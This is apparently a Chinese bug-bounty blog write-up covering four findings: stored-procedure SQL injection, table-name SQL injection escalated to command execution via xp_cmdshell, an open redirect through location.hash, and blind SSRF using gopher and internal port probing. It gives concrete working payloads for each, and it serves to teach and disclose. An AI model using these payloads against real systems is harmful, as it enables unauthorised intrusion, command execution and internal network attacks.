聲明:本人堅決反對利用文章內容進行惡意攻擊行為,一切錯誤行為必將受到懲罰,綠色網絡需要靠我們共同維護,推薦大家在了解技術原理的前提下,更好的維護個人信息安全、企業安全、國家安全。

0x00 前言

好久沒寫真實漏洞挖掘案例了,今天寫一筆。直接發漏洞細節很生硬,大家也學不到什么,只有帶入感情,留下筆者的想法,才能產生共鳴,真正的幫助到別人。

四個漏洞描述順序:

存儲過程sql注入;
table頭注入;
通用的url跳轉;
盲ssrf漏洞;

0x01 存儲過程sql注入

首先我先介紹我近期挖到的第一個漏洞:sql server exec存儲過程處 sql injection。

遇到的一個靶場網站,一個后臺的某個功能點,存在存儲過程sql注入,使用單引號測試,發現他報錯了。

ERROR:[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function 'proc_*' expects parameter '@linked', which was not supplied.

這個報錯很特別,和我平時看到的sql server報錯信息不一樣,我第一時間去谷歌搜索了下這個報錯信息,很快就找到了一篇文章。

https://stackoverflow.com/questions/19703653/stored-procedure-or-function-expects-parameter-which-is-not-supplie

stackoverflow查看網站報錯信息真的很方便,很方便幫我們判斷使用了哪些技術. 雖然我英語很差,但是谷歌瀏覽器自帶的翻譯功能就夠了,很快我就知道這是個sql server的存儲過程報錯。

話說回來,不通過谷歌搜索報錯語句,通過單引號報錯,其實就可能猜出來個大概。

我還是很常規的測試,因為報錯了,所以我企圖用最簡單的方法讓其報錯出user/database等,嘗試poc:

'and 1>user and'1'='1
'and user<0 and '1'='1
等

發現沒有出user,甚至仍然報錯,其實這是正常的。后續測試發現,只要我在后面添加內容,他就會一直報錯...,他好像不允許添加過多的注入payload 

我開始從報錯注入,轉為布爾類型注入測試:

'and iif(user like '%25',1,1) and'1'='1

類似這樣的payload,結局是淚目的,語句又是各種報錯。我發現不能再這樣搞了,這樣搞的話思路肯定不對。

先從理解sql報錯信息開始,理解存儲過程,sql server的存儲過程的語法是這樣的:

exec 任意語句 / exec 'sql語句'

它本身其實不需要任何單引號的閉合,因為它不是字符串類型注入,重新調整測試,測試就是學習的過程,再次上payload:

13 if(substring(db_name(),1,1)='*')waitfor delay'0:0:3'


一頓fuzz,延時3s:

說明我的這個poc沒有問題,一開始踩了一個坑,一個認知問題,慣性思維導致的錯誤。

mysql下的if:if(條件,結果1,結果2)
sql server下的if:if(條件) 結果 else (結果)

這里誤以為sql server的if也是和mysql的if使用一樣,其實完全不一樣,sql server等同mysql if函數的是iif函數.

我們知道,sql server報錯有個很爽的技巧就是基于類型錯誤:int+varchar,嘗試報錯出db_name()。

報錯注入poc:

13 if(1=0/db_name())waitfor delay'0:0:1'

至此,這個注入算搞定了,我可以提交了。

0x02 table頭注入

第二個分享的案例仍然是注入,sql server table頭注入,有意思的地方在于rce處,利用一個sql server特性我rce了它。

某天我挖一個站,發現一個功能點存在注入,是那種很常規的注入,通過查看js,我發現了一個接口:

https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入點}

我看到了table參數,我覺得這可能是sql server table頭注入,這是經常做安全測試的一種直覺,我直接輸入了sysobject,他給我大量返回了信息:

我很驚喜,那么它代碼的實現很大可能是:

select * from {可控點}

那么我可以做的事情變得很多很多,這個注入利用成本很低,我覺得他就是個任意sql語句執行漏洞。

我嘗試rce,為了再次確定他是表頭注入,我嘗試在可控點處添加where等條件語句,嘗試Payload。

sysobjects where xtype='u' #查詢數據庫中的所有表名

很幸運,沒任何報錯,直接響應了。

我開始嘗試rce,我們都知道sql server rce的條件是需要支持堆疊,我嘗試;waitfor delay '0:0:3';直接給我報錯了,那么大概率可能不支持堆疊查詢

不過這個注入點非常特別,是表頭注入,它滿足一定的條件,即使不支持堆疊,只要權限夠高,我們也可以rce。

先開啟xp_cmdshell擴展:

sysobjects+select+1+if+1%3d1+execute('EXEC+sp_configure+''show+advanced+options'',+1%3bRECONFIGURE%3bEXEC+sp_configure+''xp_cmdshell'',+1%3bRECONFIGURE%3b')

執行命令:

sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+"whoami"')

直接頁面顯示了whoami信息:

我是幸運的,很快,我就提交了漏洞給相關廠商。

因為是表頭注入,所以不需要堆疊了,因為sql server的select支持 select x select x

sql server容錯率很強大,不同類型在一起不會報錯,會做自動區分。

第二個漏洞分享結束,開始第三個url跳轉漏洞分享。

0x03 通用的url跳轉

其實有時候,運氣不是總是很好,漏洞也很難挖,連續好幾天,我都沒挖到漏洞,我在那邊胡亂看著,瞎點著。

有一個站引起了我的興趣,他的注冊接口是這樣的。

https://*/sss/yyyy?returnUrl=https://*/#/xxxx/xxx

我對url參數比較敏感,通常我會測試ssrf/xss,即使他大概率不存在,我也會測試下,很顯然,半自動化工具沒有發現任何ssrf和xss漏洞。

我注冊了一個賬號,我嘗試登錄,它告訴我,我的賬號需要審核,我嘗試繞過,我也沒有繞過它。

我發現我沒發現漏洞了,那我就隨便看看吧,我都不抓包了,右鍵查看源代碼,發現了這么一段代碼,以前我就經常做js代碼審計,這段代碼我不會陌生。

if(location.hash){location="https://hostname"+location.hash.substring(1);}

稍微學過一點js的也不會陌生,不過我們還是要走一遍基礎的測試流程,它使用 location.hash.* 去傳遞參數。

這個就是錨點符,常用于站內url跳轉,記錄#/后面的內容,其實這里的本意是做站內url跳轉用的,不過這里沒在hostname結尾處加/這個字符串,導致可以任意跳轉。

我們簡單測試下:

那么如果我們想任意url跳轉怎么辦???

只需要讓location.hash.substring(1)變成另一個我們的域名即可,構造poc如下:

http://example.com/#.dnslog.cn

他會直接跳轉出信任域,實現任意頁面url跳轉

除了這樣還可以通過 @domain 去跳轉到第三方網站,更加方便!!!

他的修復方案也很簡單: 

if(location.hash){location="https://hostname/"+location.hash.substring(1);}

至此第三個漏洞就分享完了。

0x04 盲ssrf漏洞

現在分享最后一個漏洞,就是盲的ssrf漏洞。前面我說過,我看到url參數,我就會嘗試下ssrf/xss漏洞,這里我發現了一個圖片加載功能,存在ssrf。

首先在分享ssrf實戰案例之前,先分享個ssrf安全測試圣經:https://github.com/cujanovic/SSRF-Testing

github上提供的測試用例:

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

如果想探測是否開放gopher,又不想觸發waf怎么做?

https://ssrf.localdomain.pw/img-without-body/301-gopher-{dnslog.cn}-.i.jpg

這個url地址是可以變化的,測試什么協議就變成什么協議,其他測試樣本不再舉例,類似的,都可以隨意轉換

這里嘗試301跳轉:

dnslog成功收到請求,注意User-Agent,是libwww,perl的一個請求依賴庫:

GET / HTTP/1.1TE: deflate,gzip;q=0.3Connection: TE, closeUser-Agent: ImageVacuum/2.3.10 libwww-perl/6.57

使用上面的思路,測試下敏感協議,gopher協議:

有反應,說明大概率是支持gopher協議的,那么它到底支持不支持呢?

通過查看github libwww代碼,就可以得到答案,他支持這些協議,其中包含gopher協議。

這樣我們就可以使用gopher協議去批量fuzz探測內網redis等服務,這個點到此為止。

下面繼續科普下盲的ssrf怎么探測?因為一般信息收集不全的情況下,我們沒什么內網ip地址,那么我們怎么證明是盲ssrf呢?

本地ip:存在端口 vs 本地ip:大概率不存在的端口

25端口提示我圖片類型不對:

250端口,提示我連接被拒絕

這樣就可以證明這是個盲的ssrf,它可以探測內網端口開放情況,然后因為它又支持gopher等敏感協議,它可以fuzz內網redis,嘗試shell等,危害將會大大升級。